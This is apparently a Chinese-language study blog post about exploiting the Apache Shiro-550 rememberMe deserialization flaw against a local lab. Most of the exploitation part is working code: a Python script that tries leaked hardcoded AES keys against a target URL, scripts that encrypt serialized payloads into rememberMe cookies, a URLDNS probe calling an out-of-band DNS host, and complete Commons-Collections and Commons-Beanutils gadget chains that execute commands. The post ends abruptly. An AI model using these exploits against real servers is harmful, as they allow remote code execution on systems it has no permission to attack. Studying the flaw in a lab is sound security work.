配置Tomcat环境 https://tomcat.apache.org/ 
下载及安装 https://tomcat.apache.org/ 
配置Tomcat环境变量 1 2 CATALINA_HOME E:\02software\02development\java\tomcat10_zip\apache-tomcat-10.1.15-windows-x64\apache-tomcat-10.1.15 
 
1 2 CATALINA_BASE E:\02software\02development\java\tomcat10_zip\apache-tomcat-10.1.15-windows-x64\apache-tomcat-10.1.15 
 
1 2 CLASSPATH %CATALINA_HOME%\lib\servlet-api.jar; 
 
1 2 3 Path %CATALINA_HOME%\bin %CATALINA_HOME%\lib 
 
 
在IntelliJ IDEA中配置Tomcat 
over
。。。。。。。。。报错
Tomcat日志乱码问题 https://blog.csdn.net/gaogzhen/article/details/107307459 
shiro550 https://www.cnblogs.com/nice0e3/p/14183173.html#0x00-%E5%89%8D%E8%A8%80 
https://blog.csdn.net/god_zzZ/article/details/108391075 
https://blog.csdn.net/m0_67401270/article/details/126721347#:~:text=1.%E9%A6%96%E5%85%88%E6%89%93%E5%BC%80IDEA%EF%BC%8C%E6%89%93%E5%BC%80shiro%E6%BA%90%E7%A0%81%202.%E9%85%8D%E7%BD%AEtomcat%E7%8E%AF%E5%A2%83%20%E9%A6%96%E5%85%88%20%E9%A6%96%E5%85%88%E8%BF%99%E4%B8%89%E9%83%A8%E5%88%86,1%EF%BC%9A%E9%80%89%E6%8B%A9tomcat%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE%202%EF%BC%9A%E9%80%89%E6%8B%A9%E5%AE%89%E8%A3%85%E7%9A%84JDK1.7%E7%9A%84%E4%BD%8D%E7%BD%AE%203%EF%BC%9A%E9%80%89%E6%8B%A9%E6%9C%AA%E8%A2%AB%E4%BD%BF%E7%94%A8%E7%9A%84%E7%AB%AF%E5%8F%A3%20%E7%84%B6%E5%90%8E%E5%88%B0Deployment%EF%BC%8C%E9%80%89%E6%8B%A9%E6%B7%BB%E5%8A%A0%EF%BC%8C%E7%84%B6%E5%90%8E%E9%80%89%E6%8B%A9shiro%E7%9A%84war%E5%8C%85%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE 
影响版本: shiro < 1.2.4
漏洞原理: Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。
1 获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作 
 
漏洞环境: github: https://github.com/apache/shiro/tags?after=shiro-root-1.3.0-release-vote1 
shiro zip: https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 
jdk1.6: https://www.oracle.com/java/technologies/javase-java-archive-javase6-downloads.html 
shiro550环境【成功】 https://blog.csdn.net/qq_44769520/article/details/123476443#:~:text=1.%E9%A6%96%E5%85%88%E6%89%93%E5%BC%80IDEA%EF%BC%8C%E6%89%93%E5%BC%80shiro%E6%BA%90%E7%A0%81%202.%E9%85%8D%E7%BD%AEtomcat%E7%8E%AF%E5%A2%83%20%E9%A6%96%E5%85%88%20%E9%A6%96%E5%85%88%E8%BF%99%E4%B8%89%E9%83%A8%E5%88%86,1%EF%BC%9A%E9%80%89%E6%8B%A9tomcat%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE%202%EF%BC%9A%E9%80%89%E6%8B%A9%E5%AE%89%E8%A3%85%E7%9A%84JDK1.7%E7%9A%84%E4%BD%8D%E7%BD%AE%203%EF%BC%9A%E9%80%89%E6%8B%A9%E6%9C%AA%E8%A2%AB%E4%BD%BF%E7%94%A8%E7%9A%84%E7%AB%AF%E5%8F%A3%20%E7%84%B6%E5%90%8E%E5%88%B0Deployment%EF%BC%8C%E9%80%89%E6%8B%A9%E6%B7%BB%E5%8A%A0%EF%BC%8C%E7%84%B6%E5%90%8E%E9%80%89%E6%8B%A9shiro%E7%9A%84war%E5%8C%85%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE 
https://github.com/jas502n/SHIRO-550  //war包
shiro550分析 https://github.com/Drun1baby/JavaSecurityLearning 
https://johnfrod.top/%e5%ae%89%e5%85%a8/shiro%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/ 
https://www.yuque.com/tianxiadamutou/zcfd4v/op3c7v#823652d0  //1
https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi  //2
https://www.yuque.com/tianxiadamutou/zcfd4v/yzw734   //3
https://blog.zsxsoft.com/post/35 
https://github.com/j1anFen/shiro_rce_exp   //rce exp
https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect  //
https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg 
https://github.com/phith0n/JavaThings/tree/master/shirodemo  //demo
https://tomcat.apache.org/download-80.cgi   //tomcat8
https://github.com/KpLi0rn/ShiroVulnEnv  //shiro vuln env
Tomcat8 在 IDEA 中配置 
这里我们先 clone 一下 P神的项目:https://github.com/phith0n/JavaThings/tree/master/shirodemo 
右键 login.jsp,运行之后会有一堆爆红,然后是 404 的界面,这个时候我们点击 IDEA 自带的用浏览器打开前端界面即可,这样就可以访问成功了。
登录的 username 和 password 默认是 root 与 secret。
Shiro-550 分析 勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码 在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
加密过程 首先看org.apache.shiro.mgt.AbstractRememberMeManager类的onSuccessfulLogin函数
判断 token 是否为 true,然后调用 rememberIdentity;
在rememberIdentity中,调用了俩个方法,getIdentityToRemember方法和rememberIdentity(subject, principals)方法;
首先看getIdentityToRemember这个方法,
大致就是获取用户名赋值给 principals。
回到rememberIdentity跟进this.rememberIdentity(subject, principals):
this.rememberIdentity(subject, principals)函数里面执行了两个函数,convertPrincipalsToBytes函数和rememberSerializedIdentity函数;
首先分析第一个函数调用
先对用户名进行序列化处理,然后调用了个this.getCipherService()方法是否有返回值,跟进查看
返回了一种 AES 的加密方式CBC。
回到convertPrincipalsToBytes方法,接着调用this.encrypt(bytes)对序列化后的用户名进行加密操作,跟进
这里同样是先用getCipherService方法获取一个加密方式,如果不是空则用该加密方式调用encrypt方法进行加密,AES加密是个对称加密需要密钥,所以这里用getEncryptionCipherKey获取一个密钥,跟进看看:
看来是直接返回了这个密钥,由于我们知道这个漏洞就是因为密钥是硬编码写好的造成的,所以我们往回找找这个密钥是哪里赋值的。
找到这个AbstractRememberMeManager类初始化的时候会,调用setCipherKey方法来设置密钥:
回到AbstractRememberMeManager类初始化的this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);这里,这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES实在类定义里面写好的:
现在加密完,到了这里
然后再来到这个函数,设置rememberme
这里逻辑就是对传进来的字节进行base64加密,然后设置为名字为rememberMe的cookie值。
这个是加密过程分析涉及的函数调用。
解密过程 从org.apache.shiro.mgt.DefaultSecurityManager这个类开始分析,getRememberedIdentity函数
跟进到getRememberedPrincipals:
继续跟到getRememberedSerializedIdentity:
这里的逻辑是先获取cookie中rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。
返回 getRememberedPrincipals方法,下一步跟进 convertBytesToPrincipals方法
可以看到就进行了两个操作 decrypt 和 deserialize。解密就是和加密的逆过程,不多说,进入 deserialize:
发现readObject方法出现了
Shiro-550 漏洞探测 指纹识别 在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。
AES密钥判断 前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式 提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。
因此我们需要构造payload排除类型转换错误,进而准确判断密钥。
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
这里给出大佬Veraxy的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import  base64import  uuidimport  requestsfrom  Crypto.Cipher import  AES  def  encrypt_AES_GCM (msg, secretKey ):    aesCipher = AES.new(secretKey, AES.MODE_GCM)     ciphertext, authTag = aesCipher.encrypt_and_digest(msg)     return  (ciphertext, aesCipher.nonce, authTag)   def  encode_rememberme (target ):    keys = ['kPH+bIxk5D2deZiIxcaaaA==' , '4AvVhmFLUs0KTA3Kprsdag==' ,'66v1O8keKNV3TTcGPK1wzg==' , 'SDKOLKn2J1j/2BHjeZwAoQ==' ]          BS = AES.block_size     pad = lambda  s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode()     mode = AES.MODE_CBC     iv = uuid.uuid4().bytes        file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==' )     for  key in  keys:         try :                          encryptor = AES.new(base64.b64decode(key), mode, iv)             base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))             res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()},timeout=3 ,verify=False , allow_redirects=False )             if  res.headers.get("Set-Cookie" ) == None :                 print ("正确KEY :"  + key)                 return  key             else :                 if  'rememberMe=deleteMe;'  not  in  res.headers.get("Set-Cookie" ):                     print ("正确key:"  + key)                     return  key                          encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))             base64_ciphertext = base64.b64encode(encryptedMsg[1 ] + encryptedMsg[0 ] + encryptedMsg[2 ])             res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()}, timeout=3 , verify=False , allow_redirects=False )               if  res.headers.get("Set-Cookie" ) == None :                 print ("正确KEY:"  + key)                 return  key             else :                 if  'rememberMe=deleteMe;'  not  in  res.headers.get("Set-Cookie" ):                     print ("正确key:"  + key)                     return  key             print ("正确key:"  + key)             return  key         except  Exception as  e:             print (e) 
 
Shiro-550 漏洞利用 既然 RCE,或者说弹 shell,是在反序列化的时候触发的。
那我们的攻击就应该是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值。
这个加密操作drun1baby的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from  email.mime import  basefrom  pydoc import  plainimport  sysimport  base64from  turtle import  modeimport  uuidfrom  random import  Randomfrom  Crypto.Cipher import  AESdef  get_file_data (filename ): with  open (filename, 'rb' ) as  f:  data = f.read()  return  data def  aes_enc (data ): BS = AES.block_size  pad = lambda  s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode()  key = "kPH+bIxk5D2deZiIxcaaaA=="   mode = AES.MODE_CBC  iv = uuid.uuid4().bytes   encryptor = AES.new(base64.b64decode(key), mode, iv)  ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))  return  ciphertext def  aes_dec (enc_data ): enc_data = base64.b64decode(enc_data)  unpad = lambda  s: s[:-s[-1 ]]  key = "kPH+bIxk5D2deZiIxcaaaA=="   mode = AES.MODE_CBC  iv = enc_data[:16 ]  encryptor = AES.new(base64.b64decode(key), mode, iv)  plaintext = encryptor.decrypt(enc_data[16 :])  plaintext = unpad(plaintext)  return  plaintext if  __name__ == "__main__" : data = get_file_data("ser.bin" )  print (aes_enc(data)) 
 
URLDNS 链  URLDNS 不依赖于 Commons Collections 包,只需要 JDK 的包就行,所以一般用于检测是否存在漏洞。再将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。
URLDNS不难理解,直接贴大佬的脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  java.io.*;  import  java.lang.reflect.Field;  import  java.net.URL;  import  java.util.HashMap;     public  class  URLDNSEXP  {      public  static  void  main (String[] args)  throws  Exception{           HashMap<URL,Integer> hashmap= new  HashMap <URL,Integer>();      URL  url  =  new  URL ("http://2twuuia2kxz9bqztec49jpphj8pzdo.oastify.com" );    Class  c  =  url.getClass();    Field  hashcodefile  =  c.getDeclaredField("hashCode" );    hashcodefile.setAccessible(true );    hashcodefile.set(url,1234 );    hashmap.put(url,1 );      hashcodefile.set(url,-1 );    serialize(hashmap);      }          public  static  void  serialize (Object obj)  throws  IOException {           ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream ("ser.bin" ));    oos.writeObject(obj);    }       public  static  Object unserialize (String Filename)  throws  IOException, ClassNotFoundException{           ObjectInputStream  ois  =  new  ObjectInputStream (new  FileInputStream (Filename));    Object  obj  =  ois.readObject();    return  obj;    }   } 
 
这个是直接yso的,nice0e3的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import  base64import  uuidimport  subprocessfrom  Crypto.Cipher import  AES  def  rememberme (command ):    popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe' , '-jar' , r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar' , 'URLDNS' , command],                              stdout=subprocess.PIPE)     BS = AES.block_size     pad = lambda  s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode()     key = "kPH+bIxk5D2deZiIxcaaaA=="      mode = AES.MODE_CBC     iv = b' '  * 16      encryptor = AES.new(base64.b64decode(key), mode, iv)     file_body = pad(popen.stdout.read())     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))     return  base64_ciphertext   if  __name__ == '__main__' :         payload = rememberme('http://dq6w3y.dnslog.cn' )     print ("rememberMe={}" .format (payload.decode())) 
 
CC6+TemplatesImpl链 我们想要的是执行恶意代码,所以先引入Commons Collections 3.2.1 包来进行利用构造。
首先我们尝试用CC6链来构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package  org.example;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.HashMap;import  java.util.Map;public  class  shrio550_exp_cc6_cc2  {    public  static  void  main (String[] args)  throws  Exception{         System.out.println("Hello world!" );         Transformer[] transforms = new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" })         };         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transforms);         HashMap<Object,Object> hashmap = new  HashMap <>();         hashmap.put("123" ,"456" );         Map<Object,Object> decorate = LazyMap.decorate(hashmap,new  ConstantTransformer (2 ));         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (decorate,"key" );         HashMap<Object,Object> expHashMap = new  HashMap <>();         expHashMap.put(tiedMapEntry,"value" );         decorate.remove("key" );         Class  clz  =  LazyMap.class;         Field  factoryField  =  clz.getDeclaredField("factory" );         factoryField.setAccessible(true );         factoryField.set(decorate,chainedTransformer);         serialize(expHashMap);         unserialize("test.bin" );     }     public  static  void  serialize (Object o) throws  Exception{         ObjectOutputStream  out  =  new  ObjectOutputStream (Files.newOutputStream(Paths.get("test.bin" )));         out.writeObject(o);     }     public  static  void  unserialize (String name) throws  Exception{         ObjectInputStream  in  =  new  ObjectInputStream (Files.newInputStream(Paths.get(name)));         in.readObject();     } } 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package  org.example;import  org.apache.shiro.crypto.AesCipherService;import  org.apache.shiro.util.ByteSource;import  java.nio.file.FileSystems;import  java.nio.file.Files;public  class  exp  {    public  static  void  main (String []args)  throws  Exception {         byte [] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\test.bin" ));         AesCipherService  aes  =  new  AesCipherService ();         byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );         ByteSource  ciphertext  =  aes.encrypt(payloads, key);         System.out.printf(ciphertext.toString());     } } 
 
将生成的payload发过去:
查看服务端报错:
我们找到异常信息的倒数第一行,也就是这个类: org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到,这是一个 ObjectInputStream的子类,其重写了 resolveClass() 方法:
resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass() 方法:
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原生的 Class.forName 。
那么,我们在异常捕捉的位置下个断点,看看是哪个类触发了异常:
可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。这个类名看起来怪,其实就是表示 org.apache.commons.collections.Transformer 的数组。
这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
既然这里我们无法使用Transformer数组了,但是并不是就束手无策了,回顾一下CC链的调用图:
我们不难发现实际上CC4和CC2是没有用到Transformer数组的,但CC4依赖的是Commons Collections4这个包,当前环境无法使用这条链,拿还有啥方法呢?
我们可以尝试去改造CC6这条链的后半部分,在CC6链中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue 方法,调用了map的get方法,并传入key。
1 2 3 public Object getValue() {     return map.get(key); } 
 
当这个map是LazyMap时,其get方法就是触发transform的关键点:
1 2 3 4 5 6 7 8 9 public Object get(Object key) {     // create value for key if key is not currently in the map     if (map.containsKey(key) == false) {         Object value = factory.transform(key);         map.put(key, value);         return value;     }     return map.get(key); } 
 
我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
我们LazyMap.get(key)直接调用InvokerTransfomer.transform(key),然后像CC2那样调用TempalteImpl.newTransformer()来完成后续调用。
我的最终exp:CC6+TemplatesImpl链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package  org.example;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.HashMap;import  java.util.Map;import  javassist.*;public  class  shiro550_exp_cc6_cc2  {    public  static  void  main (String[] args)  throws  Exception{         System.out.println("Hello world!" );         TemplatesImpl  templates  =  getTemplatesImple();         InvokerTransformer  invokerTransformer  =  new  InvokerTransformer ("newTransformer" , new  Class []{}, new  Object []{});         HashMap<Object,Object> hashmap = new  HashMap <>();         hashmap.put("123" ,"456" );         Map<Object,Object> decorate = LazyMap.decorate(hashmap,new  ConstantTransformer (2 ));         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (decorate,templates);         HashMap<Object,Object> expHashMap = new  HashMap <>();         expHashMap.put(tiedMapEntry,"value" );         decorate.remove(templates);         Class  clz  =  LazyMap.class;         Field  factoryField  =  clz.getDeclaredField("factory" );         factoryField.setAccessible(true );         factoryField.set(decorate,invokerTransformer);         serialize(expHashMap);         unserialize("test.bin" );     }     public  static  void  serialize (Object o) throws  Exception{         ObjectOutputStream  out  =  new  ObjectOutputStream (Files.newOutputStream(Paths.get("test.bin" )));         out.writeObject(o);     }     public  static  void  unserialize (String name) throws  Exception{         ObjectInputStream  in  =  new  ObjectInputStream (Files.newInputStream(Paths.get(name)));         in.readObject();     }     public  static  TemplatesImpl getTemplatesImple () throws  Exception{         TemplatesImpl  templates  =  new  TemplatesImpl ();         setFieldValue(templates, "_name" , "Hello" );         setFieldValue(templates, "_bytecodes" , new  byte [][]{getEvilBytes()});         setFieldValue(templates, "_tfactory" , new  TransformerFactoryImpl ());         return  templates;     }     public  static  void  setFieldValue (Object obj, String field, Object val)  throws  Exception{         Field  dField  =  obj.getClass().getDeclaredField(field);         dField.setAccessible(true );         dField.set(obj, val);     }     public  static  byte [] getEvilBytes()throws  Exception{         ClassPool  classPool  =  ClassPool.getDefault();         CtClass  dynamicClass  =  classPool.makeClass("EvilAbstractTranslet" );         CtClass  abstractTranslet  =  classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" );         dynamicClass.setSuperclass(abstractTranslet);         CtConstructor  ctConstructor  =  new  CtConstructor (new  CtClass []{},dynamicClass);         ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" );         dynamicClass.addConstructor(ctConstructor);         byte [] bytes = dynamicClass.toBytecode();         dynamicClass.detach();         return  bytes;     } } 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package  org.example;import  org.apache.shiro.crypto.AesCipherService;import  org.apache.shiro.util.ByteSource;import  java.nio.file.FileSystems;import  java.nio.file.Files;public  class  exp  {    public  static  void  main (String []args)  throws  Exception {         byte [] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\test.bin" ));         AesCipherService  aes  =  new  AesCipherService ();         byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );         ByteSource  ciphertext  =  aes.encrypt(payloads, key);         System.out.printf(ciphertext.toString());     } } 
 
CC11 链攻击 额,其实就是上面的CC6+TemplatesImpl链
https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx#a27e85e2 
Commons-Beanutils1链 上面的CC6+TemplatesImpl链是依赖于Commmons Collections软件包的,如果项目中没有用到的话就无法实现代码执行,那有没有只用Shiro自己的类就能实现代码执行的链呢?答案是有的。这里用到了Apache Commons Beanutils包。
在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。
1 PropertyUtils.getProperty(new Bean(),"name"); 
 
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
如何利用这个PropertyUtils.getProperty()方法去构造我们的利用链呢?回顾CC链中没有用到Commons Collections包的部分,再次搬出这张图
红框的部分就是没有用到Commons Collections包的部分,如此一来,CC3中的TemplatesImpl实现类加载任意代码执行是跑不掉的,所以我们要找找那里能调用TemplatesImpl.newTransformer()方法,然后我们找到了TemplatesImpl.getOutputProperties()
它的内部调用了 newTransformer(),而 getOutputProperties 这个名字,是以 get 开头,正符合getter的定义。
所以, PropertyUtils.getProperty( obj, property ) 这段代码,当obj是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties() 方法,触发代码执行。
然后接着找那里能调用PropertyUtils.getProperty(),我们找到的是commons-beanutils包中 org.apache.commons.beanutils.BeanComparator 的compare()方法:
这里熟悉CC链的的师傅就发现了,compare()方法在CC4这条链的前半部分就能调用,我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了。看图!
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package  org.example;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  org.apache.commons.beanutils.BeanComparator;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.PriorityQueue;public  class  shiro550_cb  {    public  static  void  main (String[] args)  throws  Exception {         System.out.println("Hello world!" );         TemplatesImpl  templates  =  getTemplatesImple();         final  BeanComparator  comparator  =  new  BeanComparator ();         final  PriorityQueue<Object> queue = new  PriorityQueue <Object>(2 , comparator);         queue.add("1" );         queue.add("1" );         setFieldValue(comparator, "property" , "outputProperties" );         setFieldValue(queue, "queue" , new  Object []{templates, templates});         serialize(queue);         unserialize("ser.bin" );     }     public  static  void  serialize (Object o) throws  Exception{         ObjectOutputStream  out  =  new  ObjectOutputStream (Files.newOutputStream(Paths.get("ser.bin" )));         out.writeObject(o);     }     public  static  void  unserialize (String name) throws  Exception{         ObjectInputStream  in  =  new  ObjectInputStream (Files.newInputStream(Paths.get(name)));         in.readObject();     }     public  static  TemplatesImpl getTemplatesImple () throws  Exception{         TemplatesImpl  templates  =  new  TemplatesImpl ();         setFieldValue(templates, "_name" , "Hello" );         setFieldValue(templates, "_bytecodes" , new  byte [][]{getEvilBytes()});         setFieldValue(templates, "_tfactory" , new  TransformerFactoryImpl ());         return  templates;     }     public  static  void  setFieldValue (Object obj, String field, Object val)  throws  Exception{         Field  dField  =  obj.getClass().getDeclaredField(field);         dField.setAccessible(true );         dField.set(obj, val);     }     public  static  byte [] getEvilBytes()throws  Exception{         ClassPool  classPool  =  ClassPool.getDefault();         CtClass  dynamicClass  =  classPool.makeClass("EvilAbstractTranslet" );         CtClass  abstractTranslet  =  classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" );         dynamicClass.setSuperclass(abstractTranslet);         CtConstructor  ctConstructor  =  new  CtConstructor (new  CtClass []{},dynamicClass);         ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" );         dynamicClass.addConstructor(ctConstructor);         byte [] bytes = dynamicClass.toBytecode();         dynamicClass.detach();         return  bytes;     } } 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package  org.example;import  org.apache.shiro.crypto.AesCipherService;import  org.apache.shiro.util.ByteSource;import  java.nio.file.FileSystems;import  java.nio.file.Files;public  class  exp  {    public  static  void  main (String []args)  throws  Exception {         byte [] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\ser.bin" ));         AesCipherService  aes  =  new  AesCipherService ();         byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );         ByteSource  ciphertext  =  aes.encrypt(payloads, key);         System.out.printf(ciphertext.toString());     } } 
 
记录一下python的处理脚本:
